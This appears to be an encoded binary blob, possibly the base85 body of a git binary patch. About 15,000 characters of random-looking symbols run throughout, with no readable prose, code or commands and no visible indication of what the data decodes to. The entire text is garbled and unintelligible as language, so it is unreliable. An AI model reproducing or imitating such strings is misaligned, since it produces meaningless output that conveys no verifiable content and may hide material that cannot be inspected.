zJC%!xaO^02XT*4Y-o^9(r(T3v3O>IXF?u-bOuO|VOxM+ncrp0S*SzUApO3wq?||pF zWIi8zIgf(pPsw~q>9I=w4W4v73%Ydtx+>pL@SKp$=Xxn9k51N_qIq~t=Qm^L#J{c^ ze0-goy1~b;^()=rV|rir;oHlVf;C9)+|Oa9pngSj>*A)m&%9W`F?}7HYPaq5WLxU6 zPHX^7J+rDhRyhSr-ij2^r0~?Kl~b|2tf;*;b>j4rlJL}6<&5yul4#{j7++QK19W`V z6d04Mj#W)9n^9C9HsW0!0BR?Hpd)S{5IU{wtS$}+?SVk`K%n$#racg-9te~ipGovi z4+IK_RQ5oifMNQwL7?8j`0cFt-goRr2mf-$%x~6h`{_ID0==$Mo5OwxD60JVA)vMj zJ$1#G7M}f9e7_>})D_=NLQh@sr4pXsitikur>^+^Na(36z8?uab;WlYzEAxSP}d3F zf5rDLe$(#tim&}8*0bo_v*_Ei==&vF^!3=q`2bV(4)j@E`|N8`7mT4V1_2eCK7+?w zD!Vv|*RdoVDo?ysp4eKPc-3VZ2exKp&D3ogr@Z~ewjtrp;@o3=j;Snff3NMJaA(P} zK5>!6g$p9uuFi2j@rkxMD?bgi9W-Hl>+zi>`(yDq6|_*(pesQg)y{}Q-E$5XYz%@iHFK~kmQ=&%Mr74@LK#; zwqUlR)5qa`A=-}FId~T6D|hU~L7KA;+QtKIP{0B0MZ&}QD#Rnb?TO7h2Va8+s?u14 z_-F!!O3Z{+lJf042M;lEagiwWl4(6HVPs`yC^?=ZIw}bC>DY-VpS5!^*R$0v#^gSv z269vd<+*EsRmJ3x?8s>1ft`aNF_I%p)O6&Gs9O>B+Ck(lc+XVm%q(|Fxi&!t6Fq&0 zJ2%z{+Fhf*Sv*bHm`S?XpQTU#Wb5z?~ z4YtJgqLX_s%l!ZBy$gI5#rZzIC+7e$L6ZOiUI`c#1tB3^f>FuI1y1CIL@t7ghL8l3 z5=cyfXshk1fP$x~c(<*sv}(1jcYDEBTM$uH6z`X+E!t|Kc*A1jSy@)epP6l3FSOUo`klT&}Akx4&P`Au}?vX$^%z~P}q-+?_O4#^LF}^nAyTtgeF}}YV--E{Y0(=~N3|X%l?0w_Q4%u^U@W>NsI2u!) zXNHY~&YXK30h!eg9&s|mre8nt(CX5n&md4zl|`RH5^vwo1$eSuga4gd^*K=DEkx}r zTH1l3i!eX(Tl{lIFB|0ySj~&MmL_rQ%>5)5_v_?PFKDQt%W>|v;GY{X4zXj|Mubj) zqH_HuB6ojO(E6(C=R7fo= z*oBp&|4C?8O1AZM;Df*bjE|}&ta& zHF9d~))G%mC4w`DX`XNv6Im^ZydTIy`|lgr2fK{#W0ePbT5}rRkSMWUOtePS-6!D^zrrj*ruP_$6O0VXQ%fs&+%uTW7}+$tv_1sCMW(>eQc-S>N)yyTt=RRqf_OOVaO;X zt&dhf)<8~$Tnsr4@*GH%DMrIiCqZ5Xc^c#$kkycUHLHW#)^0$yVxGuLqvO{M54M)B8 z#(yHiWV*q4br_n)bJltd21EHY#;!u?U1hM<2D`^#_ZjSQgFS69UPD!uPJ^YRz7@vz zIh6;mslvt?jPG*_qs>62cb36;RTXxb!DwDhVSL9^aUU_*-wpN;gWwNgKQ0wVdT>H{2?yao!nzS#?QX7X;?`(suFnT{S*p&vm%3wDb>_&sFG1y%O z+i0*&27A_EFBojA!Co`i2L}7ZV5vRq^XRR8Y1Tl49cZwj1{-cLZv3k1;248N3>G!m zEQ8H9ScAcu40fi$&NkQzgZ;>0R~qapgWX`T8x6L`V0Rg8qro;A>{)}oV6d$Qd(B`U z80-^+rQ-cT)j@CVL;V@-K!edVu+rn#1AS>$k-E57DqW^& zKj*qicd(@EF$U)h)+g-YiZ?d1&$^SO6VgJ+@4YGSS7=eO3~ykIbBli z@QU23b8?7mtZq7I4H_?^a@o3U>f@0Z5$?qf8{;0GTz#x`cyKKK`3PhVJ-L=`%vi#3 z3Q06XhIR_lTt5l5tT{thCzvmrq*2k?$y&BYdtC8`b6%(DSo|(<8$DyQa*Upx{fpky zoLGx=EYWf0wU@+VQ^zS;*MIVhuoG*kjwL#-HF_k+I-7+a^XA%_PAt4ah!Y)GUg;9c z&a2?y#}0L3-K1lQ&MpkBNeTh=F^*+R%l=W|w6=S6I@EDf5z!=3W~NW)-c<8_1@#)N#k+@JKMgU%Hz|{O&v_7WYr5W2ie8Td0$ldllh# zbu8+nSl8i*gi?E~i2T-r$`a4HRyXid$4Lch}{)(n_vPtAZzQyEmV zL7S?1d{IedWo2YyNz`WnqgM8^HKRqPk;#*euZ%{D8W&9%Ga;v>ctTF;lnGH7~P64B@Lb5+Z>948;<|37^AqIbzz@v_HO90z8ZEz zkLSC@M-NSDPu6(;49R^JJ1pWZZEkJMHWh}6R8Y_fnii>?I=$Lf=-yAUW=!5FZIg=>wNuc0 z)Hc*=gbRD?@Fw0`t9H<%Mh%V^wAI(w8PjGbAX9AhqRI{LdR9k|*uNgqw z8|T-zYK)6utC?Cu&39{@uI`eO_mc=B5Re+r(={2YppCqL#VKe7C5-`yv8GV}BQf4d>-H@R-&XE*V) zoA~*yA%5;aKgWSR+P!7w?PKXu?QkIX+)1E6`c~=f6 zP{Z65@$E=_8wh{g`!Ia4FZomPI|upjHzUiRXS@;^0gw+h9epcK+*(=~Xg^?SC&-hW zyX}~ig$@2#1QI-}Pd#P51Stw*NiOzXOo^gYA0T3Bd^5do!Hew;>1BG6_`}X7d?iId zp9OmVvYbaDIGDoFjiOjmfY7z@B6JOe9eS$@9g5H!ROsr2&?{AFHbPga&=m=xF%_D* z^6Z>5K|F0yX_n?RMB*i>0OtUlWrLvDl?((ZHWh48HeY0|BOo_P={eYscgo^>AtJ3?itIF4_`iL;8g;sBc+UMdHX_*)U|z_(Aw z#J#s&Og#QB_liVe)nO|v@ zlp=ls_K;*cxyXiR#}Rd0GxBn!VBjDYzS|BeYfkJG~0;(HA~j!B2C3S1`@ zx*R@^4uxbTILCh+>yFzH=G_;MBXQLK6(rYYD`(T_Fe-yFGcU1?1SRDT6G9hvrQ%tm zb)>YS!LGvGv@fx3vWa+zA-1tXz&1!}LqRVJgoG~D4kTdlZClg^;xHTk*z_f^1Y>NM z1=Kcq4JNs4DJ2<00oq8ESmg+n``S7#Wf|~a1p*+KgtKh&4nuid4*aJ$dvfeZqZ&f5 z%;g}sIE#(`Ab~DTVO6kfVt!g8bD(gVM4qINoy0Pk7+aEsb;&J??i9{q9ef}KKM9wt zr^K3UiZDP`93#OZnM7h4*#=&gNPA%lusDlN_i;J?r!^Ld*w;uRK_i^SIf9Qx<9eJ` z5ZCAAEZ%U5OtAM*JsdHi{1E@#e~+d`P+5KsY_KfLVS~+UT!diuS*dm z`}QzoDr6ZX_hp+1$r$n+#b6&9>@$P)!Fema{@Uli2VU6d zl^H$K>{VQDWkg?^MY6QQ+6;D)!AP!Adh9!u9>I^q$kcG>cSfg|X*V>9Kt(ETnxfgp<(=1o3Pu^{t*;LM_3n zlw2eUw+1=d4ugS+%K2gCONEc!HE058KB;v>;df#%RO#^vpnQBjs2EJwz83)MaCh3c zACPu3ReNLUa89l&${QdQq6L2@PzLPESa1x5Q7M+@Iwyp3e zEE^?Rn6!(W(pDM{g@9d+a*RbcN*&_YMxsf`NkDk>^AZVRVANQxqmZr%14|xW`l2&M zUZ-R6p@gabgvl%+0|eMuaI)5~@2k7UiM2$>+7)47Q_8ECIk8siSZs>!yo3y3@_KOG zE#PQ?-Xo4(4xQ-iViI3b2>5b97ytb)UUk~UZ3@JVNi5L{kwYP%ihDZ#6&;H@?pRVY zT};Pk>f4k$?pS;|>uNfl+k4VcC&g;Sk)Dp{J69bh6zUh%HrLfxx9wz?G+U+q^u_Sj z`&v9wkLjFINptng$30aqh-aogK}+p>rbc+|>G9(7qUhww;qu~%W&X48i0_?z|5~Ti zN9K*r&(C(;u4dH7kI5aav^k^RPiEAQ!b?I}E}s94`e@!miO$Cc(-vI!TIiMFor{j0 zK~Wbo>YOP`bfV{(QRnN=L(uypJ9{_^zZvxy?zDEiaJ{2vwvUEhS2OAbdoe;C)O>_fve(%-unW29iI5e9{Zy{XG-^bX}E?Psb6^ zInJx+liqCTGo=}T z>r7o4e;SPW|B<+Z2PRu@stT8umQR_4n|kl8Kj7w7PMe`0fOtpZ>rGJ#swS6As|MGg zq6`W3${LD*fDj6Fz=?U)V@!xEN@cjL3OS@^MbUR);(64Vu?chE5e4RHh1CC+5oSK+X@ho6=;9;wYAkP&5euNvFtEa zTBNkan)U{4a@AJb+St;Lg<@KvbIPI*3SRvTjSZlZp5jLC! zjV<4)sa;^eDe7Y9jVegEsAbS>ZT!xnx|;eX(IoAnKQyuautDqDP{e`Qc*2Of3!(tk zhTsNMcUN^?eQ*&)i6L);$87;hS9z2ONZw@WGVO%+A2mry7i<+68S=(7&OessW=rHy8U5)ZI5?FFh}#VEzdc zN=|*H;q1otzAv6MyU$NBNr0mIF$&0(^kWqKTkvE?!BKd9_hS_NK=5Q+QV$89%qZxK z?+8CzQgwnS+mhl+P`}*+It5R*B{dW8&wjR~xPmh?;BQMxR%h7SQ+gFbh^r&&ix7Hl<)nY7SThpdCEw=t!71-3xAF=sXWY8swMX?&})#uHC3Tz5wAmBBR}7T$I%e&UzrTnQ2BSeCO2 za^;Uiz*Y~F50}P&B+P^;=Fq9lx%Wr}2W#a3v+**eUW!8JGHht+$|gOJ4tqkm+fPuF z^`J!PIN>#T+8`OszcbQMhO2pZkN^%rVOWT0{GkZaff1$qBk|3cq|XM3(}}SPP{pfp z6pe!y5RId<5-N{x6XWn7;?jOD*N1N;emSxcvM?W~G0ePK91ROulkuxUF{`FS=fZca zgw8jiKQN)^!B>R;5SPpAxPOC>jVNTjgkO%2gshM8%SIovQc-N>(b#6`T=bZl*6r7V;&_RVa3E%#rlAs_;+KGHgEfq_nb#!(1wm3*PwPo(Rwa4yU%O zfGO7x73Z;r!$_RRXZ>KXC2$q8bkE^uNhI1L30O^Hcn0U=Z|;U|wGVTEw3XGYywcBQ z9^#a7n>Fy05O6Mv9FVU9lXQVrWB^ZhEsnFG+778ys~hW-5t&6O{$E7>(12aCB01)d ziq6~Gi7ub9c682hJ}c@$6Fnlw{87;#g^y$doxA#!lgr9WdN~!Xseyel_GuTON-+MY z6qo}qm&2f7&6C&BCYomi#$$ZRjy+2-{;1en;2Vh8tXO;yH`gt0THIDW_pEm8ZAu$2 zioehssbP!|RoX-HVrdnTf<}ROh1Uy`9ykWZEB=hTRWTm|!gwJG!)>2OSqM@Ma1E^g zB<0`8HF%Q9LS)@jvVYW<2tiWBNL=O9@jd+_Zlu@nPa?z|DNxc6h!8Y_vkCz&BRE$A zU>zhH!C8&tY;>#+HR1+p*$7KW%Q&|JRB7o(+#lc?YT~~#pg<~_Ve=iNUTm*fj=w%wSI$>=lFY3C@($qzS7$ z(oi~u?XP|57SBjw6AV^jFh8!uPmSI$jNS%=Jz%is4ECbILMe6~kiDYv9cVDFDOFgp z!6q8)WP_b%u$aM?8I1fErjl-5WiT45Q`jR0d(B{P8O&x^q+6*$yDZt-mu}@4tlVG~ z2J67HR^@S#_N7@rH`p%?c9X&QbXMm}b0I1&&4nl|a7U_j$G_99eQr-%o7&QAPS2_y zxi~G0ZP#{Wk#u2V0`^^cyu*oXCq^p#DhA&xlrIxLzO4o&-5v1R&M)l)5U9B$Pxf=g z=qha$gXxkdV>`dJ2P06KuizQlB|&xQlDczH=`zjdcaiSlCS7<;?RAx|stcxR_c@H^ zSKgz5Cv#n#Hz*KZzDcGrICYG6p5XS3`@(AJi&U;0z2Z1N%Kf-6oG#`|F`dKGV3jME ztxLjcbtBpO*x|mgYgf*WRb&H}jZAYPFpZIK$6}s-dspF6BkrcnS3K{OaGpl-oW-T> zn(0z=%BI7eSU=RUFsa8_2~)akvW{tt*M6~fFDKT|bS%+ve#cN@#Q6n-gbYjuIDV^xJ@?vM`nEdFt?PtGmV(~#mCpxb4$^h!* z^~PYxUPOr!BM%U(Pda6jq@D=mO(ol0veT(KRxh;aYQ%htUc|tG=(6}f^8~E^q31gy* zFcoirsC!AB%XhmiZ^;E@qEKt}AZU zU!Zrtm*bT1U}9X}-mgICL$96>*JuFh_YmC+vh()iYOzYf&^f`Y=aXJDbiU`+^WiT2 zMC%}FaYa7dB|d2WxEp%x?(f+RJ*M~AZs_q*^`ej7H;lVfS8w{aFNM4GI$m>pEv5L7 zm+YPCdTDZ!y{}wVxMXtKbUe%ycWG}OTv1kmk)HpD`AojNgKm-&I?-<1C=SKROB7+N z`5GusT`)_?N%4@L{K+L${Bo#JNyH~+m`oC3h8{W;6_c4yyGc{>qa`KLkeI0tJ;=@6 z+8H0tCjpjk2%bJJvRN|Aj_u?SsC|h9E+#n`NiM+~Ety$7PGn(y5z^J3v!*^LC5nY+ z6r20>4P-g79(n1$k$k3-dHv5i_K_z`#xBV``<|a=yoE_v6t$brWLaMwpDFPzuA9%) z&1dT7Gksh6Ogk`3d^Cmz4nv;_f`#^dJ$xooW3nSFqdBS0HhD{5t16AZEZgLLPyr?l z_PLwnM_#h`!0U>|*e zE-*<@tQgHsTAWKZ)M@~vF%^-pRUigM$bA9nc7&kyclG?t%(47?XiP}S{tw>ME zGX8g+LNg6#LWOdcX9xaYhsR5I;xHU(0-TzE6Zf8SLU&4dsP2O9G!BFY zZm|@gg$B4kgE`Uz%z+-*P^E`;2?~BK=EBJ7i6M07G^qU%9?oh)arS3Y*55JY@3ocU z(3`SFn;U{;i}oW}PVAvOxv5PDNrV#-L5)p4ArW?q>a-d;d>*P3+hrF7BywkX$68jg zAt14hDW?cP4EG}-DPC2P*0t$EYj8|nReMh&ZS6H`yEKx+mWgVG$tdE9x)#T7o)W8! zJf%6J`613)Wm+Z2{0RUn7J`g|-V5xo-rNno()*%52)v7~_)1TT#-|{-K56{}ZGcQC zw#$=H9x|t9S}Ae~2jb{4!Fq`f_aJ+LD%SpiH0vYL=@0B#(NX)74K&C8yeGT$+AR*9 zDYg$|ZICawpQLm@ZkH}tQ7kIgoS!9%({TUyLS$7{lA_rd znv3~6&UYLBZPPJMwM!!Qk7i88aO`4CtpLF9-$cgLDjd5RQ&&<8jYT+AHe+fvz$C^L z+p$W|VN8(+bt~|8{8t8CJSetA1?%-shF-us9l8t9FBnd@PNOHDMfMm0t3Rw?1 z4U+BWM99-2QHI#9kS9al4mlfg6C?;yv8N&DKyHDofkatl##WiB;b49m&DUs*lq!WS zFj%v}t~c244E863{l#EU8SFWOy<)I!2IDz1w{(k?DwS`4gOOaNutI~8T&1uD1|zvj zVV4_>z)?haqjJG;N)2$Z_)@iU{iXE5hd6eD&gN--Xu?C|7Fr{~b!A><8XMR;# zXhlTnU1%__0aBQ44JFOmV6X>_9u32(gMsj%%W}8&rCARc>|ujFXE2yX(dFA_Fur;4jPM?h={$9A zsoDoqJp)p$0n__h11|3SR@Rn`NB3Tv-U4N7FI+p@^@V3Arh4>lL3WH(XsZ~#jV}{E zbgD>&TD)&;=a=?@qB&Tr*y-Xlbh_>wRJu&l?q3+uFWn))lW0*1Z(5*5?WP?d_M^sL zP*H93!j=(@byu7g3Uqcdi=uh;HSHsEb5{kx+Y}^mp9-FRFffv(bh$)BJ!o;z;k++> zj@vV06f1^vy#4wN`yt;S{D@JU>qVz2P7zW*uTdb&%GRaj>oA=|l{!=b__cLLB_U-l zgjA_KjquX%j4Jh1Yv$z+iH464Iy~`kEfQ%y{H}7SH&^2Xem0b z^GZjEb6zJr*wEjJ^^%SyI=i40NoftG=#cSu{K#p4pXzj|<0kCz)5sz0xD61EWn+V* zjyskjPq90qbMFVlk1IOrxMNY@$;-VT(1kh{b=-`|8g+7Ijjr zS8?Q~6mcj%p^w-pi3obIaO5HpX((s$q9u)s>V#(FNiBgyUD^{$VPf zA|Lt3^9^%IJ(2R_@^ER@WFJ;fLV8|S&(~@PNf&-fQPuI2%1cWl6-Df%{dX)HnK$Nh z*-R=JGcJMGlOZ;f?!{Be?w=BSceXJ0?M-$ABS7b4GpPkl@@LRXXXArol&*L^gS3t) z+Ik*d&w8}pOQ3h6?ts~E`tf?Wt>O2fGj^a#4KK;QydK```yZfm?BA|SWl-6aB z=f}fgc2&@6@ap;SaL$9y#a=xRPlzuHw?b!=SI;NC|3c?IubwA8R&hThn!|+Q%z5~v zR}7sgUOk`mnxJ#GSI;NCpF-!?9=+^6vo&-Lie7I8vUmz5N6((ohKEvZ+%mr&dobL#H(rc7^Qd{dI8FWNbQg zVmMk}T0O1&f3=j{ahR|2Uong`*mJDyI-833RCd(VRJH>hnE#f5Hn_fOj zw_zY<=zhTCc?VCV0=ypbYbP`C>zeTU3!jXysu=j* zpPOf{DY2{y!IO6qS}l0;PD0xRPqzCr3K{s>{aGe>vfZCY1y8p7!=;ygc7GZLPqzDW zyWlw`&+qrbhUNcCeQ)nu-aIH8#SjGE;W7isc7J9IKJNSBcmDqBhsWKp-|yetJmhM8 z>Hk`Af4e^)AM@Cd+h_WxhpZnH{+OIT%RWKW|{zc?J5eTpXuc zKhnOhhbvPG^D+Zz07&>U(`JTezy?rNr1mahScI{|Q2f7P*x_j(hToL-eQawyRpC>s zPg$Q}TZdEQrJ#Mpa8mEB?-hZGofYs3`6Jv>mVP%5pzv-u@ieFY6;Bb zU?Upp45gu*(vF5tS)-fgqYBBa zJI69ZRtKt3(Nj30!)Ewfc)WBHj{a~mgy%|wAIim&zubj!plBBh+vX!>@<(j_BAL-A zpJawWivp)xub|17X0_m07#@%T3o&hLB%EteE=MA>8RZCY3qF?B);0@~;O``peI>Co z5#E=a3CMsY78GSSN+}ITE?Pu+FwQ8P)nH0DEl>tx#+#USWvLrXq5~z-7~y3Q7Ns4FNv_jN{S#N&j1+(_D5aY2^0y&AC&-ab;p8D zqh!nxzMy10QBI4jkHpim+Yhd9TeaPO*j}Dsx-bmH(kHeR8hXlRKY|ESfjread2Ia) zt>6%pRB=$ErUGXHi6WumEOr_XiS7q-s%&f^*Vnhf#I5AShE^t^BB}7MStQ4kK-r-Y zALlmcXPpq}mqb6|IZ%^UkxrMG<$(|yV;Z<7tOr`*q2-+_2}}AB9*MIB(cGHGCbaJ? zxz`jKgm)+n>hOjcg8#~ZzVikEi~-pF}e{&){TvJd9@!$75wS=WQH)Aej1LUq#0O&)3AKb{^sdILfkOZ1xyM zkBxzx4+(n?qy)y;Clx@}Ll#2DAdi9M`A&em46+E4=M#qfIb<>9^^lVw*F#Q*L}L*O zNG9Y|9A`sLgUr{*$Lesl-RZ!|$U@$+Do9d7PKBg39o}SfAlX~hKwbnn7m{7wJVr#k7Bgf7_{W6h&(? zeR5cl{@|Y0;CFgj2i}`%^{CrRN@d4%r>xQ#Xkt=Jy|Taq=a)w|aAg@Nu|)22sCYad zRU)RTUN8W``K5apaFs4K?3(N$(c(!hws2x%4O@4V4_o;VxugqUs&66mWC|q0BNglPegL~9L~uf z!z;z~WQ(f&(ON|ziNBlQ_|F<;4#hhanQ&H0W_B))_jM=(zF{rb&R$Xy&zg?X~+j zu`brJM8}nvn~k#V??2z*#JX9>Qf!pOI^_M~7}I(4u*d=@)`L2h=(zG?Z{(cU-uwLS z2qzXAjyTbAofp5QoV>11xpaaPD}{{>PIO#(@mtKv>(E2@LeGUJD2~)pI?)l|(Hh}F zipB3M^=4%or}6nLvq>U;K{8{U;}>F+J^aE{th}AX8|@pW;`xWE{Ko7go`0B%H+CoS ze8arcsNilCXfj4N-LCe#8Z&lu0(T=_xEo{#4wkFrZYUzhXYZZzN~``Dvb)P+r! zTHYiHPV_w74Gy3@1HDgpYrrvSKkh~mx}To75hn8C1vdi!e*0Z9xR2fSQ4y{y?#2-4 zjnKNh)BU&`e8xnfGsmmv!(|}1#fl=&bST`K0$WbYAx8;nMHPK1|o(G`>o1 z1n5zqfPFdK2%44j;YQfphb~N)?27x)C4FHhlb{S5jGFuAEUw>;X~l2gOyM_qPVmv` z)Bm_;>My?g$;LzGr}ugnU#Atg;(lxAR}0=fC-^_q!yU9ZykGx4{h@#ipOcTafTwqRNCvGB^{!iA4#oc|O`6khsKdd9gA z!53LMJ14iJx>r%b_{BX-3&Mf+l=#OS-?B;z*DfAjTKMQ010unVGM^S3Z?&g&u8nlA z3m4wgx}&rs@>%?e&b2tmD1K&pZn*P7st<&^ntzLp?_8XqAK$2A6vvL)&&nu$CW5K6 zS>dH0re+jB5gxXqW8$ad0~sZM#||V1g*#3Nt_)D2syz5aX?*Qg6vztS&sA<#e0?O2 zLUV?#AcD!YBFv^`hff0vU=2r-6Vcaj%rC)^T%sNDos3sq?;IN6!ujT$0m)^c%DLvy zR8PIrIkZD$N`Q;S50L~?0uNh*WWr%uAYiF=xC3`JmzFJw3_t?elE^#O%^1@5oipPE zgfmBWXka_0-#C%N`7t}UF6YIl*odMkH_S7;WKaGKwH5GT!pXoY94E~lF)4oO-Yd$3 zaRUAuQE)s<=EpE760nTDR-VR*h`z5x&j@^oKs$*7!T6){p97zF@`(dp7?g)=GnH#5 znwU6GbEzmS#AzNTb<~(pM?4`l5Txgb7>Rf8a*1>javUm?P#k{YmBDhMz#^clF+|6c z=MExvh5OGHaSrf1D8|7$_FkB*YPZgjYyBM*61yjVc->s zZFAAv7$Pb=(zH7kKkW%*{G-!t3k)=Y6PEc5KZ3t_^?<% zC)P3@3xkdk^)?GMC9C+3*M}8yOc90rd_KT!Oh;v;d z#O_%BVSXdv?s)DIa2+->Z*2bfY{%_tBsp)?_`K1gJ}0g2ya6(je8~~Q50EAj3h_!TFM#NLwGyGv2}Jek~~@Kh@!3M8A(133H%Lu2kH0MqoC(ElDq=V<)3KW z^9QTcE?|0@nZ=21l_8w}dFU|9`Vao;cz<>^lDq>tpK3jxdRHUK2OJK52ma}dUP22b z&OWpPIwyJcJR`{ip|=D&7kc%4(z^*dcY5_a>G5uP20H)o>iMKcUZT*95XYQ{PkJMv zHv#{2M$ad`Q=!x7)$^ps>v2AGuJP*mq_++_4}0}I>2YL#J9Ij|dOqnLg!X;}{^`tl zc&wwdIZe_!qKKa&AM5C>=Z4+TV>>u=H}p97w#-Klx9pzG6#NRw)qORqC|lav^zIU0 ze4;?;poP8olA+9#W1L~?NmbLUD<_*}kUce2JY(X-vZ>XTCzef}7_FQMGh8Z47po}! zjG*soc46mhAQ{@m4=Qo8&^}=m7T3U?jE+k-rI%eV)CTMGfweDbp4ZscVD_7*y{6XM zF>=h+bnbP9oE@l!#)5{L@7B~ArP+yzqry_NPNGsx+v0_dCgqucP$+Xe1IMkkW6kkY zIUXg)Tz*!GW3ca*nBs9c5KT%sd)AjspNh}5uVBev8Ozf6okevu^-ZQgVSu$Y3+tPj z8r2T!%=#Ds+uBu)@zlSxb$dxRu9^D(%{o2Se+}AG>%zKxY`D%9|Mk}AU%b~J$y6hm zB@K^Oe*xY8V!2Z~VL z)LdKBRIjag^E-cWQ}d$v`J17o(bm4Ml3ujVOqx1WYVsd2c$k`X zD=VhDwzb`^ow}O#n(CItbDJ7#cdcMg?n*_D9W9+7@5$uSlK1s4-(T$P-95aQ{u3_~eOg>R=f4Q}6-$k_`J|Nt0CiH5-lV?J=3ZA?=G7s<0eybyw3ZA?=aZuoQcWOAHJ50o-q>Vz@in&zc&J7+!l~1)+utc-bn55b5@APT{)}e_^O;3 z!?9Lz7XFXntZP*i*077h@vT^bS->Tjk;w7~XgE9!B~+W14}kZT2^SgM)L0(Qu$+{v7x@i)rXz0#{Ve(6wtLSymbDrj_W zL@{%3=!G-oVa8?a)@==zc8m^$3*X2%|7fJuQI-|y{~)rwGh^AEh!I)-UdA%6pr}~>?~G+v3$iw2+2!zH z;pT`a7E~5RJ9_`DBKSb0gJacJ{3+NzFYdhbp`kb^+|Zu&m%ZTG)|*k4Mx-N}GY1;O zI4c!@mKE~`8dXPCYD6z-E$t|Q{~1x#6$AaDbBz99*$9z$fl|SW&WNwx<)XJiw94a8 z`s%bor#v~c29wzdP~d!ZS^U1zVH@%vFCB)N>doP$TT^t+Jspj281~e#Czk#F-zC&8EkKPDW1W7zg+{E^OwOXKU27fs}=Kso!jkX8QU%U{n}_I>!4ewy7H z?I`Pvc7zHd!TTbGA1vt+ExfO-pftWAymZT!|7A3Xj_xSVgzP*m6z+Kz}n7{wyq;O6MC`%%_=;*VwwiXks6obks{YHlFXQ67ja z{cm9Lo6&evPF30X#a3Idzx0H{_NmC0*8=#gh_;81bIJ|J|1k{flh<`VB$d~Dm^z`- zoZRA$-tRK)VK8lvs~%i0YjU6X=)Ta{O)sbYC2 z50u&(-samc71F`>pW{=T6O0(hU4Y-o;%mikM0`u|OO23qzQKMB-xR?v!LJIv#)SSB zz7r&rQ)vJ}${pak=P$ zy>-x9Yp{pmQ|Y}7A3h6^9+zaP7@wNZgHVGCI}|<@BW$p8gUvPAcML}Ry_{+ZSvSMS zvFnia5PW^acP_djgHN^0e7aTcb>xf~HL6jJ;HIl#{uk{J02DzOPD zPH(IR?k&YqiM7=~UkbwxPr2_&^b^dPO+X{Imwub|resENxn+^WIXE;oaDcTeaB2#3E=SbulJgkD z2pOsqXSK-o252izvhuObMc1tJW1w0t>idRB>EIgTTsa;Q$_WJJI&l5)$C3rvJN~>C zz6$J=N5h8lu_T;f65%ycPL-3LnRf+uaTXt9yz5{cT`G?YPQNe3nIx4*UW_{9*W`E# zin~F=Pc}IfNqqjOocIRg!_g@gW(T_)+{#iPT$HYgc~~ebu#eOSJBfLcL9Jvs0~xA| zf3(SvZCN>$;c9(q)-ayDwAH+7#E z-9>QHf2#Pe=Iq>o}Qt3zs!K}E%mP=}}&vweCNQWvzcxW|5vDlnv${M{^N|PnW z>>@AF$2Mh&LmJ?#1S_q6ay>DoWSuQ%JVWBJYf$Z-MJ*O85iT*@sX?by>>}jscxGyM z@()m|5qPV&3tn0*3T#8XeeqZd-mXudMh#RRL$GesJ`LM0gWdIT={&c|0b3{dW{SG* zix5+_gZ=P8Ia#i4;eZ$WFxg?*DdmmSlh1P??afDW) z6n(57tZurTXmPX}mL_p7Sy^)sZm3ss@wgzr0q78@3jNCNsj1##0_RE{& z1H}8MGGKZ}vaHzkDA@FDT<6cuWQfWynZU*SpN-2|z0VueMc~Rn8gmez4HIRqLsK{{ z>o~a>_SO!kNw3VCiY<)cs+Bv(s$JN}sqq}kit#~vBqX1K!yvDK91eL0*$T;S4Oc%#D`#gya=H0A zkXs?~vL73bOT*(TNFKARIv27Dav9|5kjo*tG#u0XvGX9~kQYMY-7~ft@mav5UJuDz_6EqokP{)X8dE5FBOvhrj*W%H z`*5rfG74D&i3d?E0$B-J1$hGGOh`Pmg=&Y3j^2ikYx>gUI7Pd`QmJIDnvyL%X zk-@4AHr-%n80@w;&#58jPdw3hRM;N5$Ps`_im^4Yr@b3Ji9P!T1HF;_^;Z>BS7T%wX3T z?0SRUVX!|LY`wwmH`p@GCO4c5PhUB3ObFU=ZfutI}PHdv*>PB++M zgDp4MN`qzKi8&B8o^JKkzBKDI_*A{5;EPbz%RbtdZuK$P!3G;*un`6uWw7H6R&1~- z2AgWI(+oD(V2cdaYOwDc>|BHW*kBhM>;{9~Xt4dV@%kK?X!Y9Cqa`#aSe3%AmJW9i z9^l&G1_3@LZMPph%AkkxrQ(>xB#>8AQ>@e{OGVL+!BC~w+xRl!Q!%K;C#~)L(jJ09 zq}?}U^?j$rO1-yCN@K@zr>f$!>?#(u)N829!7u%xDt-JWmIe(^m)m^?DqW_@C!X#6 z(j9?7htO-+M_1{p`e2%Tg4)h6-O)N-G)&Zo#rj5_(Ajygew~_7KDKLpm5@H4vbOWf z<7fo3>}Uv|>v}R>`;Cn0`=wnZX}7i3!ZNBDM>Qr=oe`7~wX`zF_g%Bs&QA8{`Rd5c zBxoj76-vHmc~Yxv#z)@GPGQArCz zZ?-;GIy_(rm18Wr@#+xeu@St(X=fv|Z9sH($H)pJ;GI?m6NiEiUitp@74`YtVeV#(Q(ni((8#Tcr2>^GYdjK}cXj82s# z@w~EtI(a>J^h;MddHq_)5*=4w7krjOw40mt!6w|S&L@S2ZEdH#uecDt*{d-S zV@ikC{LSJs+0>-ErgeU8!vcG4!ovCU@@&8Jd;$4s(zHm;qPnK~){=($+64gG>T4Ib zHnyKtT}z<4wz+vhW4#&q$r&@+@~mx0NKWtMq?a}%26$FBBnAn|I>#(*NDNZ3M%n8j z5`$DM-yjt$zw21OK`NH9_>-KMZ;*;*?ENIi@(oh4jJ2QSSbjlr$rH%JUb{eg|EH4T zqKcBT$;Fc@COVr}@rvY47?pHkuz^*PW$$_wE}Bwa8Lo;(!$tb7!+-NAt^eh3c2!+n zzOZI~eKGdlaWzEM1hHCWd|tNWcDY(5FMnKtsB^VSe_5?EGe=D`^7isut+I?gTB7q= zt&)mo(H+qH3wwMx-kU{T*ge{;bwttD^Q=}GgeQFoo&$5)XTtFT@3&e7v|j7G=pnyL z1-NtZ@3&fo57Hl_H~h8k5d)%^Ta?)G1CoipTcLB8*5j%BtyW=re}~T7UOk`H5t&0! ze*DvQl^%iMMC4xN}+&$D`ikF{Sw=Vq^-PkNi6^Q>3TC%yNe)AJCXMZ$Ub zq?ZGoT(6!dJv2FM3Upe%dOqo`g3eW5Jx_YP9)E_;<6b?V^xlHbCtf|D)hhe5kO{7+ zi`6QHyP?O|r^!BgxD~&Ft5DQZxG!lH3T@%|tU|F@nRH>VYEM_0biIzm<~p~wHGY>Q zauTg~wo2eDr~mIc)&Kv5*>7{bt1A@Qd(Za%VJ-Vo^Z!qI_@A3_|1F}{f5S=i9v1zh z=brHLL6`k^UihQb3B3-x{wFfyLw5Sb$K3t$P##9g>t4flMlX>XA1=H%coSF6ew9cFg#@+SC5RA?$5CaP`R^56AE2&O;HB#~((@xgBSAmd5Yb`94WAZUw_& 